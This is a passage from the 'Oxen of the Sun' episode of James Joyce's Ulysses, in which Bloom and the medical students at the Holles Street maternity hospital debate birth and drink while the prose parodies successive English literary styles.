think of +the future of a race where the seeds of such malice have been sown and +where no right reverence is rendered to mother and maid in house of +Horne. Having delivered himself of this rebuke he saluted those present +on the by and repaired to the door. A murmur of approval arose from all +and some were for ejecting the low soaker without more ado, a design +which would have been effected nor would he have received more than his +bare deserts had he not abridged his transgression by affirming with a +horrid imprecation (for he swore a round hand) that he was as good a son +of the true fold as ever drew breath. Stap my vitals, said he, them was +always the sentiments of honest Frank Costello which I was bred up most +particular to honour thy father and thy mother that had the best hand to +a rolypoly or a hasty pudding as you ever see what I always looks back on +with a loving heart. + +To revert to Mr Bloom who, after his first entry, had been conscious of +some impudent mocks which he however had borne with as being the fruits +of that age upon which it is commonly charged that it knows not pity. The +young sparks, it is true, were as full of extravagancies as overgrown +children: the words of their tumultuary discussions were difficultly +understood and not often nice: their testiness and outrageous MOTS were +such that his intellects resiled from: nor were they scrupulously +sensible of the proprieties though their fund of strong animal spirits +spoke in their behalf. But the word of Mr Costello was an unwelcome +language for him for he nauseated the wretch that seemed to him a +cropeared creature of a misshapen gibbosity, born out of wedlock and +thrust like a crookback toothed and feet first into the world, which the +dint of the surgeon's pliers in his skull lent indeed a colour to, so as +to put him in thought of that missing link of creation's chain +desiderated by the late ingenious Mr Darwin. It was now for more than the +middle span of our allotted years that he had passed through the thousand +vicissitudes of existence and, being of a wary ascendancy and self a man +of rare forecast, he had enjoined his heart to repress all motions of a +rising choler and, by intercepting them with the readiest precaution, +foster within his breast that plenitude of sufferance which base minds +jeer at, rash judgers scorn and all find tolerable and but tolerable. To +those who create themselves wits at the cost of feminine delicacy (a +habit of mind which he never did hold with) to them he would concede +neither to bear the name nor to herit the tradition of a proper breeding: +while for such that, having lost all forbearance, can lose no more, there +remained the sharp antidote of experience to cause their insolency to +beat a precipitate and inglorious retreat. Not but what he could feel +with mettlesome youth which, caring nought for the mows of dotards or the +gruntlings of the severe, is ever (as the chaste fancy of the Holy Writer +expresses it) for eating of the tree forbid it yet not so far forth as to +pretermit humanity upon any condition soever towards a gentlewoman when +she was about her lawful occasions. To conclude, while from the sister's +words he had reckoned upon a speedy delivery he was, however, it must be +owned, not a little alleviated by the intelligence that the issue so +auspicated after an ordeal of such duress now testified once more to the +mercy as well as to the bounty of the Supreme Being. + +Accordingly he broke his mind to his neighbour, saying that, to express +his notion of the thing, his opinion (who ought not perchance to express +one) was that one must have a cold constitution and a frigid genius not +to be rejoiced by this freshest news of the fruition of her confinement +since she had been in such pain through no fault of hers. The dressy +young blade said it was her husband's that put her in that expectation or +at least it ought to be unless she were another Ephesian matron. I must +acquaint you, said Mr Crotthers, clapping on the table so as to evoke a +resonant comment of emphasis, old Glory Allelujurum was round again +today, an elderly man with dundrearies, preferring through his nose a +request to have word of Wilhelmina, my life, as he calls her. I bade him +hold himself in readiness for that the event would burst anon. 'Slife, +I'll be round with you. I cannot but extol the virile potency of the old +bucko that could still knock another child out of her. All fell to +praising of it, each after his own fashion, though the same young blade +held with his former view that another than her conjugial had been the +man in the gap, a clerk in orders, a linkboy (virtuous) or an itinerant +vendor of articles needed in every household. Singular, communed the +guest with himself, the wonderfully unequal faculty of metempsychosis +possessed by them, that the puerperal dormitory and the dissecting +theatre should be the seminaries of such frivolity, that the mere +acquisition of academic titles should suffice to transform in a pinch of +time these votaries of levity into exemplary practitioners of an art +which most men anywise eminent have esteemed the noblest. But, he further +added, it is mayhap to relieve the pentup feelings that in common oppress +them for I have more than once observed that birds of a feather laugh +together. + +But with what fitness, let it be asked of the noble lord, his patron, has +this alien, whom the concession of a gracious prince has admitted to +civic rights, constituted himself the lord paramount of our internal +polity? Where is now that gratitude which loyalty should have counselled? +During the recent war whenever the enemy had a temporary advantage with +his granados did this traitor to his kind not seize that moment to +discharge his piece against the empire of which he is a tenant at will +while he trembled for the security of his four per cents? Has he +forgotten this as he forgets all benefits received? Or is it that from +being a deluder of others he has become at last his own dupe as he is, if +report belie him not, his own and his only enjoyer? Far be it from +candour to violate the bedchamber of a respectable lady, the daughter of +a gallant major, or to cast the most distant reflections upon her virtue +but if he challenges attention there (as it was indeed highly his +interest not to have done) then be it so. Unhappy woman, she has been too +long and too persistently denied her legitimate prerogative to listen to +his objurgations with any other feeling than the derision of the +desperate. He says this, a censor of morals, a very pelican in his piety, +who did not scruple, oblivious of the ties of nature, to attempt illicit +intercourse with a female domestic drawn from the lowest strata of +society! Nay, had the hussy's scouringbrush not been her tutelary angel, +it had gone with her as hard as with Hagar, the Egyptian! In the question +of the grazing lands his peevish asperity is notorious and in Mr Cuffe's +hearing brought upon him from an indignant rancher a scathing retort +couched in terms as straightforward as they were bucolic. It ill becomes +him to preach that gospel. Has he not nearer home a seedfield that lies +fallow for the want of the ploughshare? A habit reprehensible at puberty +is second nature and an opprobrium in middle life. If he must dispense +his balm of Gilead in nostrums and apothegms of dubious taste to restore +to health a generation of unfledged profligates let his practice consist +better with the doctrines that now engross him. His marital breast is the +repository of secrets which decorum is reluctant to adduce. The lewd +suggestions of some faded beauty may console him for a consort neglected +and debauched but this new exponent of morals and healer of ills is at +his best an exotic tree which, when rooted in its native orient, throve +and flourished and was abundant in balm but, transplanted to a clime more +temperate, its roots have lost their quondam vigour while the stuff that +comes away from it is stagnant, acid and inoperative. + +The news was imparted with a circumspection recalling the ceremonial +usage of the Sublime Porte by the second female infirmarian to the junior +medical officer in residence, who in his turn announced to the delegation +that an heir had been born, When he had betaken himself to the women's +apartment to assist at the prescribed ceremony of the afterbirth in the +presence of the secretary of state for domestic affairs and the members +of the privy council, silent in unanimous exhaustion and approbation the +delegates, chafing under the length and solemnity of their vigil and +hoping that the joyful occurrence would palliate a licence which the +simultaneous absence of abigail and obstetrician rendered the easier, +broke out at once into a strife of tongues. In vain the voice of Mr +Canvasser Bloom was heard endeavouring to urge, to mollify, to refrain. +The moment was too propitious for the display of that discursiveness +which seemed the only bond of union among tempers so divergent. Every +phase of the situation was successively eviscerated: the prenatal +repugnance of uterine brothers, the Caesarean section, posthumity with +respect to the father and, that rarer form, with respect to the mother, +the fratricidal case known as the Childs Murder and rendered memorable by +the impassioned plea of Mr Advocate Bushe which secured the acquittal of +the wrongfully accused, the rights of primogeniture and king's bounty +touching twins and triplets, miscarriages and infanticides, simulated or +dissimulated, the acardiac FOETUS IN FOETU and aprosopia due to a +congestion, the agnathia of certain chinless Chinamen (cited by Mr +Candidate Mulligan) in consequence of defective reunion of the maxillary +knobs along the medial line so that (as he said) one ear could hear what +the other spoke, the benefits of anesthesia or twilight sleep, the +prolongation of labour pains in advanced gravidancy by reason of pressure +on the vein, the premature relentment of the amniotic fluid (as +exemplified in the actual case) with consequent peril of sepsis to the +matrix, artificial insemination by means of syringes, involution of the +womb consequent upon the menopause, the problem of the perpetration of +the species in the case of females impregnated by delinquent rape, that +distressing manner of delivery called by the Brandenburghers STURZGEBURT, +the recorded instances of multiseminal, twikindled and monstrous births +conceived during the catamenic period or of consanguineous parents--in a +word all the cases of human nativity which Aristotle has classified in +his masterpiece with chromolithographic illustrations. The gravest +problems of obstetrics and forensic medicine were examined with as much +animation as the most popular beliefs on the state of pregnancy such as +the forbidding to a gravid woman to step over a countrystile lest, by her +movement, the navelcord should strangle her creature and the injunction +upon her in the event of a yearning, ardently and ineffectually +entertained, to place her hand against that part of her person which long +usage has consecrated as the seat of castigation. The abnormalities of +harelip, breastmole, supernumerary digits, negro's inkle, strawberry mark +and portwine stain were alleged by one as a PRIMA FACIE and natural +hypothetical explanation of those swineheaded (the case of Madame Grissel +Steevens was not forgotten) or doghaired infants occasionally born. The +hypothesis of a plasmic memory, advanced by the Caledonian envoy and +worthy of the metaphysical traditions of the land he stood for, envisaged +in such cases an arrest of embryonic development at some stage antecedent +to the human. An outlandish delegate sustained against both these views, +with such heat as almost carried conviction, the theory of copulation +between women and the males of brutes, his authority being his own +avouchment in support of fables such as that of the Minotaur which the +genius of the elegant Latin poet has handed down to us in the pages of +his Metamorphoses. The impression made by his words was immediate but +shortlived. It was effaced as easily as it had been evoked by an +allocution from Mr Candidate Mulligan in that vein of pleasantry which +none better than he knew how to affect, postulating as the supremest +object of desire a nice clean old man. Contemporaneously, a heated +argument having arisen between Mr Delegate Madden and Mr Candidate Lynch +regarding the juridical and theological dilemma created in the event of +one Siamese twin predeceasing the other, the difficulty by mutual consent +was referred to Mr Canvasser Bloom for instant submittal to Mr Coadjutor +Deacon Dedalus. Hitherto silent, whether the better to show by +preternatural gravity that curious dignity of the garb with which he was +invested or in obedience to an inward voice, he delivered briefly and, as +some thought, perfunctorily the ecclesiastical ordinance forbidding man +to put asunder what God has joined. + +But Malachias' tale began to freeze them with horror. He conjured up the +scene before them. The secret panel beside the chimney slid back and in +the recess appeared ... Haines! Which of us did not feel his flesh creep! +He had a portfolio full of Celtic literature in one hand, in the other a +phial marked POISON. Surprise, horror, loathing were depicted on all +faces while he eyed them with a ghostly grin. I anticipated some such +reception, he began with an eldritch laugh, for which, it seems, history +is to blame. Yes, it is true. I am the murderer of Samuel Childs. And how +I am punished! The inferno has no terrors for me. This is the appearance +is on me. Tare and ages, what way would I be resting at all, he muttered +thickly, and I tramping Dublin this while back with my share of songs and +himself after me the like of a soulth or a bullawurrus? My hell, and +Ireland's, is in this life. It is what I tried to obliterate my crime. +Distractions, rookshooting, the Erse language (he recited some), laudanum +(he raised the phial to his lips), camping out. In vain! His spectre +stalks me. Dope is my only hope ... Ah! Destruction! The black panther! +With a cry he suddenly vanished and the panel slid back. An instant later +his head appeared in the door opposite and said: Meet me at Westland Row +station at ten past eleven. He was gone. Tears gushed from the eyes of +the dissipated host. The seer raised his hand to heaven, murmuring: The +vendetta of Mananaun! The sage repeated: LEX TALIONIS. The sentimentalist +is he who would enjoy without incurring the immense debtorship for a +thing done. Malachias, overcome by emotion, ceased. The mystery was +unveiled. Haines was the third brother. His real name was Childs. The +black panther was himself the ghost of his own father. He drank drugs to +obliterate. For this relief much thanks. The lonely house by the +graveyard is uninhabited. No soul will live there. The spider pitches her +web in the solitude. The nocturnal rat peers from his hole. A curse is on +it. It is haunted. Murderer's ground. + +What is the age of the soul of man? As she hath the virtue of the +chameleon to change her hue at every new approach, to be gay with the +merry and mournful with the downcast, so too is her age changeable as her +mood. No longer is Leopold, as he sits there, ruminating, chewing the cud +of reminiscence, that staid agent of publicity and holder of a modest +substance in the funds. A score of years are blown away. He is young +Leopold. There, as in a retrospective arrangement, a mirror within a +mirror (hey, presto!), he beholdeth himself. That young figure of then is +seen, precociously manly, walking on a nipping morning from the old house +in Clanbrassil street to the high school, his booksatchel on him +bandolierwise, and in it a goodly hunk of wheaten loaf, a mother's +thought. Or it is the same figure, a year or so gone over, in his first +hard hat (ah, that was a day!), already on the road, a fullfledged +traveller for the family firm, equipped with an orderbook, a scented +handkerchief (not for show only), his case of bright trinketware (alas! a +thing now of the past!) and a quiverful of compliant smiles for this or +that halfwon housewife reckoning it out upon her fingertips or for a +budding virgin, shyly acknowledging (but the heart? tell me!) his studied +baisemoins. The scent, the smile, but, more than these, the dark eyes and +oleaginous address, brought home at duskfall many a commission to the +head of the firm, seated with Jacob's pipe after like labours in the +paternal ingle (a meal of noodles, you may be sure, is aheating), reading +through round horned spectacles some paper from the Europe of a month +before. But hey, presto, the mirror is breathed on and the young +knighterrant recedes, shrivels, dwindles to a tiny speck within the mist. +Now he is himself paternal and these about him might be his sons. Who can +say? The wise father knows his own child. He thinks of a drizzling night +in Hatch street, hard by the bonded stores there, the first. Together +(she is a poor waif, a child of shame, yours and mine and of all for a +bare shilling and her luckpenny), together they hear the heavy tread of +the watch as two raincaped shadows pass the new royal university. Bridie! +Bridie Kelly! He will never forget the name, ever remember the night: +first night, the bridenight. They are entwined in nethermost darkness, +the willer with the willed, and in an instant (FIAT!) light shall flood +the world. Did heart leap to heart? Nay, fair reader. In a breath 'twas +done but--hold! Back! It must not be! In terror the poor girl flees away +through the murk. She is the bride of darkness, a daughter of night. She +dare not bear the sunnygolden babe of day. No, Leopold. Name and memory +solace thee not. That youthful illusion of thy strength was taken from +thee--and in vain. No son of thy loins is by thee. There is none now to +be for Leopold, what Leopold was for Rudolph. + +The voices blend and fuse in clouded silence: silence that is the +infinite of space: and swiftly, silently the soul is wafted over regions +of cycles of generations that have lived. A region where grey twilight +ever descends, never falls on wide sagegreen pasturefields, shedding her +dusk, scattering a perennial dew of stars. She follows her mother with +ungainly steps, a mare leading her fillyfoal. Twilight phantoms are they, +yet moulded in prophetic grace of structure, slim shapely haunches, a +supple tendonous neck, the meek apprehensive skull. They fade, sad +phantoms: all is gone. Agendath is a waste land, a home of screechowls +and the sandblind upupa. Netaim, the golden, is no more. And on the +highway of the clouds they come, muttering thunder of rebellion, the +ghosts of beasts. Huuh! Hark! Huuh! Parallax stalks behind and goads +them, the lancinating lightnings of whose brow are scorpions. Elk and +yak, the bulls of Bashan and of Babylon, mammoth and mastodon, they come +trooping to the sunken sea, LACUS MORTIS. Ominous revengeful zodiacal +host! They moan, passing upon the clouds, horned and capricorned, the +trumpeted with the tusked, the lionmaned, the giantantlered, snouter and +crawler, rodent, ruminant and pachyderm, all their moving moaning +multitude, murderers of the sun. + +Onward to the dead sea they tramp to drink, unslaked and with horrible +gulpings, the salt somnolent inexhaustible flood. And the equine portent +grows again, magnified in the deserted heavens, nay to heaven's own +magnitude, till it looms, vast, over the house of Virgo. And lo, wonder +of metempsychosis, it is she, the everlasting bride, harbinger of the +daystar, the bride, ever virgin. It is she, Martha, thou lost one, +Millicent, the young, the dear, the radiant. How serene does she now +arise, a queen among the Pleiades, in the penultimate antelucan hour, +shod in sandals of bright gold, coifed with a veil of what do you call it +gossamer. It floats, it flows about her starborn flesh and loose it +streams, emerald, sapphire, mauve and heliotrope, sustained on currents +of the cold interstellar wind, winding, coiling, simply swirling, +writhing in the skies a mysterious writing till, after a myriad +metamorphoses of symbol, it blazes, Alpha, a ruby and triangled sign upon +the forehead of Taurus. + +Francis was reminding Stephen of years before when they had been at +school together in Conmee's time. He asked about Glaucon, Alcibiades, +Pisistratus. Where were they now? Neither knew. You have spoken of the +past and its phantoms, Stephen said. Why think of them? If I call them +into life across the waters of Lethe will not the poor ghosts troop to my +call? Who supposes it? I, Bous Stephanoumenos, bullockbefriending bard, +am lord and giver of their life. He encircled his gadding hair with a +coronal of vineleaves, smiling at Vincent. That answer and those leaves, +Vincent said to him, will adorn you more fitly when something more, and +greatly more, than a capful of light odes can call your genius father. +All who wish you well hope this for you. All desire to see you bring +forth the work you meditate, to acclaim you Stephaneforos. I heartily +wish you may not fail them. O no, Vincent Lenehan said, laying a hand on +the shoulder near him. Have no fear. He could not leave his mother an +orphan. The young man's face grew dark. All could see how hard it was for +him to be reminded of his promise and of his recent loss. He would have +withdrawn from the feast had not the noise of voices allayed the smart. +Madden had lost five drachmas on Sceptre for a whim of the rider's name: +Lenehan as much more. He told them of the race. The flag fell and, huuh! +off, scamper, the mare ran out freshly with O. Madden up. She was leading +the field. All hearts were beating. Even Phyllis could not contain +herself. She waved her scarf and cried: Huzzah! Sceptre wins! But in the +straight on the run home when all were in close order the dark horse +Throwaway drew level, reached, outstripped her. All was lost now. Phyllis +was silent: her eyes were sad anemones. Juno, she cried, I am undone. But +her lover consoled her and brought her a bright casket of gold in which +lay some oval sugarplums which she partook. A tear fell: one only. A +whacking fine whip, said Lenehan, is W. Lane. Four winners yesterday and +three today. What rider is like him? Mount him on the camel or the +boisterous buffalo the victory in a hack canter is still his. But let us +bear it as was the ancient wont. Mercy on the luckless! Poor Sceptre! he +said with a light sigh. She is not the filly that she was. Never, by this +hand, shall we behold such another. By gad, sir, a queen of them. Do you +remember her, Vincent? I wish you could have seen my queen today, Vincent +said. How young she was and radiant (Lalage were scarce fair beside her) +in her yellow shoes and frock of muslin, I do not know the right name of +it. The chestnuts that shaded us were in bloom: the air drooped with +their persuasive odour and with pollen floating by us. In the sunny +patches one might easily have cooked on a stone a batch of those buns +with Corinth fruit in them that Periplipomenes sells in his booth near +the bridge. But she had nought for her teeth but the arm with which I +held her and in that she nibbled mischievously when I pressed too close. +A week ago she lay ill, four days on the couch, but today she was free, +blithe, mocked at peril. She is more taking then. Her posies tool Mad +romp that she is, she had pulled her fill as we reclined together. And in +your ear, my friend, you will not think who met us as we left the field. +Conmee himself! He was walking by the hedge, reading, I think a brevier +book with, I doubt not, a witty letter in it from Glycera or Chloe to +keep the page. The sweet creature turned all colours in her confusion, +feigning to reprove a slight disorder in her dress: a slip of underwood +clung there for the very trees adore her. When Conmee had passed she +glanced at her lovely echo in that little mirror she carries. But he had +been kind. In going by he had blessed us. The gods too are ever kind, +Lenehan said. If I had poor luck with Bass's mare perhaps this draught of +his may serve me more propensely. He was laying his hand upon a winejar: +Malachi saw it and withheld his act, pointing to the stranger and to the +scarlet label. Warily, Malachi whispered, preserve a druid silence. His +soul is far away. It is as painful perhaps to be awakened from a vision +as to be born. Any object, intensely regarded, may be a gate of access to +the incorruptible eon of the gods. Do you not think it, Stephen? +Theosophos told me so, Stephen answered, whom in a previous existence +Egyptian priests initiated into the mysteries of karmic law. The lords of +the moon, Theosophos told me, an orangefiery shipload from planet Alpha +of the lunar chain would not assume the etheric doubles and these were +therefore incarnated by the rubycoloured egos from the second +constellation. + +However, as a matter of fact though, the preposterous surmise about him +being in some description of a doldrums or other or mesmerised which was. +entirely due to a misconception of the shallowest character, was not the +case at all. The individual whose visual organs while the above was going +on were at this juncture commencing to exhibit symptoms of animation was +as astute if not astuter than any man living and anybody that conjectured +the contrary would have found themselves pretty speedily in the wrong +shop. During the past four minutes or thereabouts he had been staring +hard at a certain amount of number one Bass bottled by Messrs Bass and Co +at Burton-on-Trent which happened to be situated amongst a lot of others +right opposite to where he was and which was certainly calculated to +attract anyone's remark on account of its scarlet appearance. He was +simply and solely, as it subsequently transpired for reasons best known +to himself, which put quite an altogether different complexion on the +proceedings, after the moment before's observations about boyhood days +and the turf, recollecting two or three private transactions of his own +which the other two were as mutually innocent of as the babe unborn. +Eventually, however, both their eyes met and as soon as it began to dawn +on him that the other was endeavouring to help himself to the thing he +involuntarily determined to help him himself and so he accordingly took +hold of the neck of the mediumsized glass recipient which contained the +fluid sought after and made a capacious hole in it by pouring a lot of it +out with, also at the same time, however, a considerable degree of +attentiveness in order not to upset any of the beer that was in it about +the place. + +The debate which ensued was in its scope and progress an epitome of the +course of life. Neither place nor council was lacking in dignity. The +debaters were the keenest in the land, the theme they were engaged on the +loftiest and most vital. The high hall of Horne's house had never beheld +an assembly so representative and so varied nor had the old rafters of +that establishment ever listened to a language so encyclopaedic. A +gallant scene in truth it made. Crotthers was there at the foot of the +table in his striking Highland garb, his face glowing from the briny airs +of the Mull of Galloway. There too, opposite to him, was Lynch whose +countenance bore already the stigmata of early depravity and premature +wisdom. Next the Scotchman was the place assigned to Costello, the +eccentric, while at his side was seated in stolid repose the squat form +of Madden. The chair of the resident indeed stood vacant before the +hearth but on either flank of it the figure of Bannon in explorer's kit +of tweed shorts and salted cowhide brogues contrasted sharply with the +primrose elegance and townbred manners of Malachi Roland St John +Mulligan. Lastly at the head of the board was the young poet who found a +refuge from his labours of pedagogy and metaphysical inquisition in the +convivial atmosphere of Socratic discussion, while to right and left of +him were accommodated the flippant prognosticator, fresh from the +hippodrome, and that vigilant wanderer, soiled by the dust of travel and +combat and stained by the mire of an indelible dishonour, but from whose +steadfast and constant heart no lure or peril or threat or degradation +could ever efface the image of that voluptuous loveliness which the +inspired pencil of Lafayette has limned for ages yet to come. + +It had better be stated here and now at the outset that the perverted +transcendentalism to which Mr S. Dedalus' (Div. Scep.) contentions would +appear to prove him pretty badly addicted runs directly counter to +accepted scientific methods. Science, it cannot be too often repeated, +deals with tangible phenomena. The man of science like the man in the +street has to face hardheaded facts that cannot be blinked and explain +them as best he can. There may be, it is true, some questions which +science cannot answer--at present--such as the first problem submitted by +Mr L. Bloom (Pubb. Canv.) regarding the future determination of sex. Must +we accept the view of Empedocles of Trinacria that the right ovary (the +postmenstrual period, assert others) is responsible for the birth of +males or are the too long neglected spermatozoa or nemasperms the +differentiating factors or is it, as most embryologists incline to opine, +such as Culpepper, Spallanzani, Blumenbach, Lusk, Hertwig, Leopold and +Valenti, a mixture of both? This would be tantamount to a cooperation +(one of nature's favourite devices) between the NISUS FORMATIVUS of the +nemasperm on the one hand and on the other a happily chosen position, +SUCCUBITUS FELIX of the passive element. The other problem raised by the +same inquirer is scarcely less vital: infant mortality. It is interesting +because, as he pertinently remarks, we are all born in the same way but +we all die in different ways. Mr M. Mulligan (Hyg. et Eug. Doc.) blames +the sanitary conditions in which our greylunged citizens contract +adenoids, pulmonary complaints etc. by inhaling the bacteria which lurk +in dust. These factors, he alleged, and the revolting spectacles offered +by our streets, hideous publicity posters, religious ministers of all +denominations, mutilated soldiers and sailors, exposed scorbutic +cardrivers, the suspended carcases of dead animals, paranoic bachelors +and unfructified duennas--these, he said, were accountable for any and +every fallingoff in the calibre of the race. Kalipedia, he prophesied, +would soon be generally adopted and all the graces of life, genuinely +good music, agreeable literature, light philosophy, instructive pictures, +plastercast reproductions of the classical statues such as Venus and +Apollo, artistic coloured photographs of prize babies, all these little +attentions would enable ladies who were in a particular condition to pass +the intervening months in a most enjoyable manner. Mr J. Crotthers (Disc. +Bacc.) attributes some of these demises to abdominal trauma in the case +of women workers subjected to heavy labours in the workshop and to +marital discipline in the home but by far the vast majority to neglect, +private or official, culminating in the exposure of newborn infants, the +practice of criminal abortion or in the atrocious crime of infanticide. +Although the former (we are thinking of neglect) is undoubtedly only too +true the case he cites of nurses forgetting to count the sponges in the +peritoneal cavity is too rare to be normative. In fact when one comes to +look into it the wonder is that so many pregnancies and deliveries go off +so well as they do, all things considered and in spite of our human +shortcomings which often baulk nature in her intentions. An ingenious +suggestion is that thrown out by Mr V. Lynch (Bacc. Arith.) that both +natality and mortality, as well as all other phenomena of evolution, +tidal movements, lunar phases, blood temperatures, diseases in general, +everything, in fine, in nature's vast workshop from the extinction of +some remote sun to the blossoming of one of the countless flowers which +beautify our public parks is subject to a law of numeration as yet +unascertained. Still the plain straightforward question why a child of +normally healthy parents and seemingly a healthy child and properly +looked after succumbs unaccountably in early childhood (though other +children of the same marriage do not) must certainly, in the poet's +words, give us pause. Nature, we may rest assured, has her own good and +cogent reasons for whatever she does and in all probability such deaths +are due to some law of anticipation by which organisms in which morbous +germs have taken up their residence (modern science has conclusively +shown that only the plasmic substance can be said to be immortal) tend to +disappear at an increasingly earlier stage of development, an arrangement +which, though productive of pain to some of our feelings (notably the +maternal), is nevertheless, some of us think, in the long run beneficial +to the race in general in securing thereby the survival of the fittest. +Mr S. Dedalus' (Div. Scep.) remark (or should it be called an +interruption?) that an omnivorous being which can masticate, deglute, +digest and apparently pass through the ordinary channel with +pluterperfect imperturbability such multifarious aliments as cancrenous +females emaciated by parturition, corpulent professional gentlemen, not +to speak of jaundiced politicians and chlorotic nuns, might possibly find +gastric relief in an innocent collation of staggering bob, reveals as +nought else could and in a very unsavoury light the tendency above +alluded to. For the enlightenment of those who are not so intimately +acquainted with the minutiae of the municipal abattoir as this +morbidminded esthete and embryo philosopher who for all his overweening +bumptiousness in things scientific can scarcely distinguish an acid from +an alkali prides himself on being, it should perhaps be stated that +staggering bob in the vile parlance of our lowerclass licensed +victuallers signifies the cookable and eatable flesh of a calf newly +dropped from its mother. In a recent public controversy with Mr L. Bloom +(Pubb. Canv.) which took place in the commons' hall of the National +Maternity Hospital, 29, 30 and 31 Holles street, of which, as is well +known, Dr A. Horne (Lic. in Midw., F. K. Q. C. P. I.) is the able and +popular master, he is reported by eyewitnesses as having stated that once +a woman has let the cat into the bag (an esthete's allusion, presumably, +to one of the most complicated and marvellous of all nature's processes-- +the act of sexual congress) she must let it out again or give it life, as +he phrased it, to save her own. At the risk of her own, was the telling +rejoinder of his interlocutor, none the less effective for the moderate +and measured tone in which it was delivered. + +Meanwhile the skill and patience of the physician had brought about a +happy ACCOUCHEMENT. It had been a weary weary while both for patient and +doctor. All that surgical skill could do was done and the brave woman had +manfully helped. She had. She had fought the good fight and now she was +very very happy. Those who have passed on, who have gone before, are +happy too as they gaze down and smile upon the touching scene. Reverently +look at her as she reclines there with the motherlight in her eyes, that +longing hunger for baby fingers (a pretty sight it is to see), in the +first bloom of her new motherhood, breathing a silent prayer of +thanksgiving to One above, the Universal Husband. And as her loving eyes +behold her babe she wishes only one blessing more, to have her dear Doady +there with her to share her joy, to lay in his arms that mite of God's +clay, the fruit of their lawful embraces. He is older now (you and I may +whisper it) and a trifle stooped in the shoulders yet in the whirligig of +years a grave dignity has come to the conscientious second accountant of +the Ulster bank, College Green branch. O Doady, loved one of old, +faithful lifemate now, it may never be again, that faroff time of the +roses! With the old shake of her pretty head she recalls those days. God! +How beautiful now across the mist of years! But their children are +grouped in her imagination about the bedside, hers and his, Charley, Mary +Alice, Frederick Albert (if he had lived), Mamy, Budgy (Victoria +Frances), Tom, Violet Constance Louisa, darling little Bobsy (called +after our famous hero of the South African war, lord Bobs of Waterford +and Candahar) and now this last pledge of their union, a Purefoy if ever +there was one, with the true Purefoy nose. Young hopeful will be +christened Mortimer Edward after the influential third cousin of Mr +Purefoy in the Treasury Remembrancer's office, Dublin Castle. And so time +wags on: but father Cronion has dealt lightly here. No, let no sigh break +from that bosom, dear gentle Mina. And Doady, knock the ashes from your +pipe, the seasoned briar you still fancy when the curfew rings for you +(may it be the distant day!) and dout the light whereby you read in the +Sacred Book for the oil too has run low, and so with a tranquil heart to +bed, to rest. He knows and will call in His own good time. You too have +fought the good fight and played loyally your man's part. Sir, to you my +hand. Well done, thou good and faithful servant! + +There are sins or (let us call them as the world calls them) evil +memories which are hidden away by man in the darkest places of the heart +but they abide there and wait. He may suffer their memory to grow dim, +let them be as though they had not been and all but persuade himself that +they were not or at least were otherwise. Yet a chance word will call +them forth suddenly and they will rise up to confront him in the most +various circumstances, a vision or a dream, or while timbrel and harp +soothe his senses or amid the cool silver tranquility of the evening or +at the feast, at midnight, when he is now filled with wine. Not to insult +over him will the vision come as over one that lies under her wrath, not +for vengeance to cut him off from the living but shrouded in the piteous +vesture of the past, silent, remote, reproachful. + +The stranger still regarded on the face before him a slow recession of +that false calm there, imposed, as it seemed, by habit or some studied +trick, upon words so embittered as to accuse in their speaker an +unhealthiness, a FLAIR, for the cruder things of life. A scene disengages +itself in the observer's memory, evoked, it would seem, by a word of so +natural a homeliness as if those days were really present there (as some +thought) with their immediate pleasures. A shaven space of lawn one soft +May evening, the wellremembered grove of lilacs at Roundtown, purple and +white, fragrant slender spectators of the game but with much real +interest in the pellets as they run slowly forward over the sward or +collide and stop, one by its fellow, with a brief alert shock. And yonder +about that grey urn where the water moves at times in thoughtful +irrigation you saw another as fragrant sisterhood, Floey, Atty, Tiny and +their darker friend with I know not what of arresting in her pose then, +Our Lady of the Cherries, a comely brace of them pendent from an ear, +bringing out the foreign warmth of the skin so daintily against the cool +ardent fruit. A lad of four or five in linseywoolsey (blossomtime but +there will be cheer in the kindly hearth when ere long the bowls are +gathered and hutched) is standing on the urn secured by that circle of +girlish fond hands. He frowns a little just as this young man does now +with a perhaps too conscious enjoyment of the danger but must needs +glance at whiles towards where his mother watches from the PIAZZETTA +giving upon the flowerclose with a faint shadow of remoteness or of +reproach (ALLES VERGANGLICHE) in her glad look. + +Mark this farther and remember. The end comes suddenly. Enter that +antechamber of birth where the studious are assembled and note their +faces. Nothing, as it seems, there of rash or violent. Quietude of +custody, rather, befitting their station in that house, the vigilant +watch of shepherds and of angels about a crib in Bethlehem of Juda long +ago. But as before the lightning the serried stormclouds, heavy with +preponderant excess of moisture, in swollen masses turgidly distended, +compass earth and sky in one vast slumber, impending above parched field +and drowsy oxen and blighted growth of shrub and verdure till in an +instant a flash rives their centres and with the reverberation of the +thunder the cloudburst pours its torrent, so and not otherwise was the +transformation, violent and instantaneous, upon the utterance of the +word. + +Burke's! outflings my lord Stephen, giving the cry, and a tag and bobtail +of all them after, cockerel, jackanapes, welsher, pilldoctor, punctual +Bloom at heels with a universal grabbing at headgear, ashplants, bilbos, +Panama hats and scabbards, Zermatt alpenstocks and what not. A dedale of +lusty youth, noble every student there. Nurse Callan taken aback in the +hallway cannot stay them nor smiling surgeon coming downstairs with news +of placentation ended, a full pound if a milligramme. They hark him on. +The door! It is open? Ha! They are out, tumultuously, off for a minute's +race, all bravely legging it, Burke's of Denzille and Holles their +ulterior goal. Dixon follows giving them sharp language but raps out an +oath, he too, and on. Bloom stays with nurse a thought to send a kind +word to happy mother and nurseling up there. Doctor Diet and Doctor +Quiet. Looks she too not other now? Ward of watching in Horne's house has +told its tale in that washedout pallor. Then all being gone, a glance of +motherwit helping, he whispers close in going: Madam, when comes the +storkbird for thee? + +The air without is impregnated with raindew moisture, life essence +celestial, glistening on Dublin stone there under starshiny COELUM. God's +air, the Allfather's air, scintillant circumambient cessile air. Breathe +it deep into thee. By heaven, Theodore Purefoy, thou hast done a doughty +deed and no botch! Thou art, I vow, the remarkablest progenitor barring +none in this chaffering allincluding most farraginous chronicle. +Astounding! In her lay a Godframed Godgiven preformed possibility which +thou hast fructified with thy modicum of man's work. Cleave to her! +Serve! Toil on, labour like a very bandog and let scholarment and all +Malthusiasts go hang. Thou art all their daddies, Theodore. Art drooping +under thy load, bemoiled with butcher's bills at home and ingots (not +thine!) in the countinghouse? Head up! For every newbegotten thou shalt +gather thy homer of ripe wheat. See, thy fleece is drenched. Dost envy +Darby Dullman there with his Joan? A canting jay and a rheumeyed curdog +is all their progeny. Pshaw, I tell thee! He is a mule, a dead +gasteropod, without vim or stamina, not worth a cracked kreutzer. +Copulation without population! No, say I! Herod's slaughter of the +innocents were the truer name. Vegetables, forsooth, and sterile +cohabitation! Give her beefsteaks, red, raw, bleeding! She is a hoary +pandemonium of ills, enlarged glands, mumps, quinsy, 